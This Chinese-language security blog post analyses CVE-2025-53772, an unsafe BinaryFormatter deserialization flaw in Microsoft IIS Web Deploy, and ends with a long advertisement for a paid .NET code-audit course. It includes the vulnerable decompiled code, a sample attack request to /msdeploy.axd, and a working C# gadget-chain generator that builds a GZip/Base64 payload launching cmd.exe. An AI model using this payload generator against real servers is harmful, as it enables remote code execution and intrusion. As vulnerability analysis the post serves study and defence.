大数跨境
0
0

CVE-2025-53772 IIS Web Deploy 系统反序列化漏洞深度剖析

CVE-2025-53772 IIS Web Deploy 系统反序列化漏洞深度剖析 dotNet安全矩阵
2025-10-08
2
图片

.NET企业应用频繁上线、持续集成和持续部署逐渐成为主流,Web Deploy正好满足了这一需求:能将 Web 应用、站点配置、数据库、证书等打包并快速部署至目标服务器。msdeploy 支持通过两种路径操控部署操作:一种是通过 Web 管理服务的 HTTP/S 端点 /msdeploy.axd

另一种是通过 Web Deploy Agent Service,这两条线路即是 DevOps 的快车道,却也可能成为攻击者的秘密通道,尤其当其内部机制含有安全盲区时CVE-2025-53772 便是这样一个缺口,提醒我们:在一条充满便利的技术道路背后,也可能潜藏着巨大的安全风险。

01. 漏洞基本介绍


在研究CVE-2025-53772中,我们将分析在 Microsoft Web Deploy (msdeploy) 环境中发现的一个严重漏洞。

此漏洞源于发送到msdeployagentservicemsdeploy.axd端点的特定 HTTP 标头字段在经过 GZip 和 Base64 解码处理后被.NET反序列化触发RCE漏洞。

02. IIS Web Deploy


在 .NET 应用领域,将网站或应用程序从一个环境移动到另一个环境,是一个常见的但又充满挑战的任务。尽管 FTP、XCOPY 等工具可以实现文件传输,但在面对庞大的 Web 应用的复杂性时显得力不从心。

2.1 应用场景

作为一款可扩展的客户端-服务器工具,Web Deploy 正是为解决这些挑战而生,用于为 IIS 提供一种更高效、更安全且更智能的内容和配置同步方式。Web Deploy 是迁移遗留站点的理想工具。它能将整个网站和应用程序,包括其内容、IIS 配置、安全描述符(ACL)甚至数据库,从运行旧版本 IIS(如 IIS 6)的服务器,完整地迁移到新版本的 IIS(如 IIS 7.5 或更高版本)上,极大地降低了迁移的复杂性和风险。

2.2 独特优势

与传统的文件传输工具(如 FTP)相比,Web Deploy 的能力远不止于此,Web Deploy 不会像 FTP 那样为每个文件都发出独立命令。它会首先对源和目标目录进行比较,然后只传输发生更改的部分,这在进行小规模更新时能显著提高同步速度和效率。

Web Deploy 原生支持通过 HTTPS 进行数据传输,确保了整个部署过程的安全性。这避免了像传统 FTP 那样以明文形式传输敏感信息,提供了端到端的加密保护。

在部署过程中,它能够自动执行配置转换,比如根据不同环境(开发、测试、生产)自动修改连接字符串或应用程序设置。此外,它还能直接在目标文件和目录上设置 安全描述符(ACL),确保部署后的文件权限配置正确无误。整体的运行流程如下图所示。
对于依赖数据库的应用程序,Web Deploy 提供了一站式解决方案。它能够自动编写和应用 SQL Server、MySQL 等数据库的脚本,将数据库的同步无缝集成到部署流程中,省去了手动管理数据库变更的麻烦。
Web Deploy 与微软的开发工具生态系统深度集成,提供了一个丰富的、可扩展的模型,开发者和 IT 人员根据自己的需求创建新的部署场景,进一步提升其自动化和灵活性。

2.3 概括小结

可以把 IIS Web Deploy 看成是一套工具集,用于将 Web 应用程序、IIS 配置和基于提供程序的资源打包并传输到目标环境。

支持两种类型的访问机制:通过 HTTP(S) 端点上的 Web 管理服务 (WMSvc):/msdeploy.axd 通过 Web 部署代理服务 (MsDepSvc):msdeployagentservice。主要功能包括:使用提供程序对文件、网站、证书、数据库等进行同步和部署。包创建(GetPackage)和包应用程序(Sync)工作流程

这种高度灵活性与不严格验证输入的序列化设计相结合,扩大了攻击面。

03. 漏洞触发原理


在上述介绍的这两种情况下,部署请求的载体都是 HTTP。请求头和请求体中包含了经过 Base64 编码并 GZip 压缩 的数据包。服务器接收到数据后,会按固定流程解析:

  • Base64 解码:把字符串还原为二进制;

  • GZip 解压缩:解开压缩层,得到原始字节流;

  • 反序列化调用 .NET 的 BinaryFormatter,将字节流还原为对象。

前三步看似合乎逻辑,像是在传送打包好的快递。但问题恰恰出在最后一步:不安全的反序列化,核心代码如下所示。

 

public static object Deserialize(string str, out Exception handledException)
{
    handledException = null;
    BinaryFormatter binaryFormatter = new BinaryFormatter(); [1]
    byte[] array = Convert.FromBase64String(str); [2]
    object obj;
    try
    {
        obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
    }
    catch (SerializationException ex)
    {
        handledException = ex;
        binaryFormatter.Binder = new Base64EncodingHelper.HandleMissingExceptionTypesSerializationBinder();
        obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array); 
    }
    return obj;
}


private static object DeserializeHelper(BinaryFormatter formatter, byte[] buffer)
        {
            object obj;
            using (MemoryStream memoryStream = new MemoryStream(buffer))
            {
                using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) [3]
                {
                    obj = formatter.Deserialize(gzipStream); [4]
                }
            }
            return obj;
        }

 

数据接收后,先进行Base64解码,再进行GZip解压,解压后的内容交给反序列化流程。可以从堆栈里观察,如下所示。

 

==> Microsoft.Web.Deployment.Base64EncodingHelper.DeserializeHelper(BinaryFormatter, byte[]) : object @0600000F
    ==> Microsoft.Web.Deployment.Base64EncodingHelper.Deserialize(stringout Exception) : object @0600000E
        ==> Microsoft.Web.Deployment.SerializationHelper.Deserialize(string) : object @060002A4

 

04. 漏洞触发实践


此漏洞源于发送到msdeployagentservice和msdeploy.axd端点的特定字段在经过 GZip 和 Base64 解码处理后被反序列化,默认端口为8172

 

POST /msdeploy.axd HTTP/1.1
Host: msdeploy.webserver.com
MSDeploy.RequestId: 1
Content-Type: application/msdeploy
MSDeploy.Method: Sync
MSDeploy.SyncOptions: H4sIAAAAAAAAA...[Generated Payload]
Content-Length: 0

 

其中,MSDeploy.SyncOptions: H4sIAAAAAAAAA...[Generated Payload] 表示反序列化漏洞载荷,可以用下面的概念性POC验证。

 

static void Main(string[] args)
{
    Delegate da = new Comparison<string>(String.Compare);
    Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
    IComparer<string> comp = Comparer<string>.Create(d);
    SortedSet<stringset = new SortedSet<string>(comp);
    set.Add("cmd.exe");
    set.Add("/c calc");
    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();
    invoke_list[1] = new Func<stringstring, Process>(Process.Start);
    fi.SetValue(d, invoke_list);
    using (MemoryStream stream = new MemoryStream())
    {
        BinaryFormatter formatter = new BinaryFormatter();
        formatter.Serialize(stream, set);
        using (MemoryStream compst = new MemoryStream())
        {
            using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress))
            {
                stream.Position = 0;
                stream.CopyTo(gzipStream);
            }
            string gzb4 = Convert.ToBase64String(compst.ToArray());
            Console.WriteLine(gzb4);
        }
    }
}

 

综上,BinaryFormatter 是 .NET 平台中一个强大而又具有高风险的一个类。它能将复杂的对象序列化为二进制字节流,方便存储或传输;同样,它也能把二进制字节流还原为原始对象。
在 CVE-2025-53772 中,攻击者只需要构造这样一个 payload,把它编码压缩后放进请求头,尤其是 MSDeploy.SyncOptions 这样的字段里。当服务器接收请求,按部就班地解码、解压、反序列化时,便触发了攻击者预埋的逻辑。最终结果可能是调用 cmd.exe /c calc,也可能是写入一个 WebShell,更可能是窃取系统中存放的敏感配置。
不过,好在该漏洞需要经过身份验证的攻击者才可以远程执行代码,这样默认状态下就不能触发了,提高触发的门槛和成本。CVE-2025-53772 的意义,不仅仅是某个系统存在的一个安全缺陷,而是提醒我们:安全问题往往根植于代码习惯之中,唯有通过严格的审计与持续的改进,才能逐步构建起更加牢固的软件安全防线。
免责声明:此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失,均由使用者为自身的行为负责并承担全部的法律和连带责任,与本号及作者无关,请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试,禁止用于其他方面。
05. 代码审计学习


为了帮助更多热衷于信息安全的从业者、开发者以及红队成员,系统性地掌握 .NET 框架下的安全漏洞分析与审计技巧,我们策划并推出了《.NET 安全代码审计》课程,致力于从零基础到高阶实战,为学员打造一条完整的技能成长路径。
本课程的核心目标,是让每一位学员都能够在完整掌握 .NET 框架基本概念与编程方法的基础上,熟练运用多种代码审计工具,独立完成从基础漏洞发现到高级漏洞利用的全流程操作。

课程不仅注重技能传授,更强调思维培养和独立分析能力的塑造。通过课程学习,学员能够掌握以下几方面的核心能力:

系统化的 .NET 框架安全知识

从基础语言特性、类库使用、面向对象编程、文件操作、序列化机制、应用配置及框架特性,全面覆盖 .NET 代码审计所需的知识体系。

精通各类高危漏洞审计方法

包括但不限于反序列化漏洞、企业级框架漏洞,比如 .NET WebForm、MVC框架等,通过逐步剖析真实案例,提升学员对漏洞原理和利用链的理解。

工具链的深度应用能力

掌握 CheckMarx、Fortify 等主流代码审计和漏洞分析工具的实际操作方法,实现半自动化和规模化代码审计,并能够结合手工分析优化审计效率。

实战经验积累与变通能力

通过企业级项目案例演练,学员能够独立完成漏洞发现、分析、利用和修复方案制定,将理论知识真正转化为可落地的实战能力。

职业发展与学习收益转化

掌握 .NET 代码审计技能,不仅能够胜任安全团队中的核心岗位,还能通过漏洞赏金计划、红队演练、SRC 漏洞提交等方式,实现技能变现,为职业发展与个人收益提供强大支撑。

为了让每位学员能够循序渐进地掌握 .NET 代码审计的核心技能,我们精心设计了课程体系,分为四大版块:

5.1 .NET 代码审计社区

完成基础知识学习后,课程将进入代码审计方法阶段。这一阶段的重点是让学员掌握如何系统化地审计 .NET 代码。我们将通过代码审计星球让学员理解漏洞形成的全流程,从漏洞出现的原因、触发条件,到利用方法、风险评估和修复方案,形成完整的审计逻辑链条。

图片

课程内容涵盖 ASP.NET MVC、WCF、WinForms、WPF 等主流框架,讲解常见漏洞类型,包括反序列化漏洞、权限提升漏洞、远程命令执行、文件上传与路径遍历、SQL 注入、XSS 等,并结合工具操作,让学员在实际项目中能够快速定位问题。

5.2 .NET 安全基础入门

在这个板块,课程从最基础的 .NET 框架概念入手,帮助零基础学员建立坚实的知识根基。我们为学员准备了一个 [.NET 安全基础入门] 的学习星球,加入代码审计班的学员可以永久免费学习该星球内容。

课程从 .NET 框架的历史与版本差异讲起,逐步深入到开发环境搭建、编程语言基础、类库使用、面向对象编程方法、异常处理机制、文件操作技巧、配置文件管理等核心知识点。每一个环节都配备详细的视频讲解与实操案例,让学员能够真正理解每一行代码背后的逻辑与安全隐患部分内容图所示。

这一阶段的课程不仅帮助学员熟悉 .NET 基础语法,更强调安全意识的培养。我们会通过大量案例展示普通开发中容易忽视的安全问题,如输入验证缺失、序列化配置错误、敏感信息泄露等,让学员在实际开发环境中也能保持安全思维。

5.3 .NET 项目漏洞实战

后续,课程还将通过完整的企业级项目演练,帮助学员将所学知识应用到真实工作场景。每个学员都将参与代码审计项目,从漏洞发现、分析、利用到报告撰写、修复建议制定,全流程实践安全技能。同时,课程还将提供职业发展指导,包括如何参与漏洞赏金计划、如何撰写高质量漏洞报告、如何在红队或安全团队中快速成长,以及如何通过技能实现收益变现。

通过这一阶段的学习,学员不仅能够独立完成 .NET 项目的代码审计,还能通过项目经验积累,提升在职业市场中的竞争力,为未来的高级安全岗位、红队或漏洞挖掘岗位打下坚实基础。

与传统培训课程不同,本课程强调  [理论+实战+工具应用+社区支持]  的全方位学习模式。每一部分内容都经过精心设计,确保学员在学习过程中能够真正理解并掌握知识点 [ 至目前,星球已推出100+内容 ,还在持续增加中,包括70个视频+30份PDF文档 ] 我们已将内容细致划分为16个分类,并随新漏洞类型的出现持续扩展。

课程特色具体体现在以下几个方面:

深度实战案例

每节课程都源自真实案例,覆盖企业级项目的漏洞分析,让学员在实际操作中理解漏洞形成机制及防御策略。通过反序列化漏洞、文件上传漏洞等高级案例,学员能够掌握红队攻防中最前沿的技能。

工具应用结合

课程讲解不仅停留在理论层面,还将 CheckMarx、Ysoserial、Fortify 等主流工具深度融合到实战教学中,让学员学会在实际审计中快速定位漏洞,实现半自动化和规模化分析,提升工作效率。

持续更新知识

课程承诺知识库持续更新,学员能够跟上最新漏洞趋势和攻防技术发展,不断提升实战能力。

社区答疑支持

学员可加入专属社区,与讲师和同学实时交流,解决学习和实战中的疑问。讲师提供全程一对一指导,确保每位学员遇到的难题都能得到有效解答。

零基础到高级

课程设计考虑不同基础学员需求,从零基础入门到高级漏洞分析,循序渐进。无论是刚入门的新人,还是有一定开发或渗透测试基础的学员,都能在课程中找到适合自己的成长路径。

为鼓励学员尽早加入课程,我们为报名成功的学员提供多重福利:课程早鸟价优惠,同时 [ 赠送价值140元的《.NET 安全攻防指南》签名版新书一套 ] 

加入课程即可永久获取《dot.Net 安全代码审计》星球,次付费,后续更新内容免费永久学习 ] 社区内部可获得专属答疑支持、漏洞分析经验分享、企业实战案例库访问权限。

欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] 星球社区,目前已有近 100+ 位朋友抢先预定。课程名额有限,报名先到先得。着课程内容和质量不断沉淀,后期门票价格将逐步提高,早加入学员享受最大优惠 ] 

图片

《.NET 安全代码审计》是一门面向未来的信息安全实战课程,不仅教授技术技能,更注重培养学员独立分析问题、解决问题的能力。课程通过系统化的知识讲解、工具应用训练、真实案例分析和项目实战演练,让学员从零基础逐步成长为能够独立进行企业级代码审计和红队攻防的安全专家。

图片

学员好评如潮

在这里,将掌握 .NET 框架的核心概念和高级安全技能,学会发现高危漏洞、分析攻击链条、提出修复方案,积累实战经验,实现技能变现和职业成长。论你的目标是进入企业安全团队、参与漏洞赏金计划,还是成为红队高手,亦或是为团队赢得年度国家级攻防荣誉,这门课程都将成为你不可或缺的成长助力] 期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,可扫描下方老师微信二维码加入星球,了解更多详情 ]

现在就加入我们,与来自全国各地的安全爱好者一起,开启你的 .NET 代码审计之旅,让技术成为你职业发展的利器,也让安全成为你未来成就的基石。

【声明】内容源于网络
0
0
dotNet安全矩阵
感谢关注"dotNet安全矩阵",分享微软.NET安全技术知识的盛宴,这里不仅有C#安全漏洞,还有.NET反序列化漏洞研究,只要是.NET领域的安全技能均在话题范围内,风里雨里我在这里等你。
内容 414
粉丝 0
dotNet安全矩阵 感谢关注"dotNet安全矩阵",分享微软.NET安全技术知识的盛宴,这里不仅有C#安全漏洞,还有.NET反序列化漏洞研究,只要是.NET领域的安全技能均在话题范围内,风里雨里我在这里等你。
总阅读86
粉丝0
内容414